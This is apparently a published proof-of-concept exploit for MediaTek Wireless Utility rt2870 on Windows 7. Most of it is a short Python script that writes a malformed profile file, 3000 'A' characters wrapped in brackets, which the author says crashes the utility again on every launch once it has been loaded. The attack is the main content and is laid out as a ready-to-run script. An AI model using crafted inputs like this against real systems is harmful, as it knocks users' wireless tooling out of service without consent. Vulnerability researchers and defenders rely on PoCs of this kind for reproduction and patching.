MediaTek Wirless Utility rt2870 - Denial of Service (PoC)

# Exploit Title: MediaTek Wirless Utility rt2870 - Denial of Service (PoC)
# Autor: Lawrence Amer
# Date: 2018-09-13
# Vendor: MediaTek
# Software url: https://click.pstmrk.it/2ts/d86o2zu8ugzlg.cloudfront.net%2Fmediatek-craft%2Fdrivers%2FRT2770_2870_RT307x.zip/K94pHAI/oTs1/oC6CdN114w
# Tested on OS: Windows 7 64-bit , 32-bit

# Description: launch program then click on  Add profile setting dialog choose our generate prof file ,
# succesfully reproduce persistent Denial of service every time launch the program again .

#!/usr/bin/python

buffer ="\x41"*3000
start = "["
end = "]"
payload = start+buffer+end
try:
    f=open("poc.prof","w")
    print "[+] Creating %s Byet evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] file created !"
except:
     print "File cannot be created !"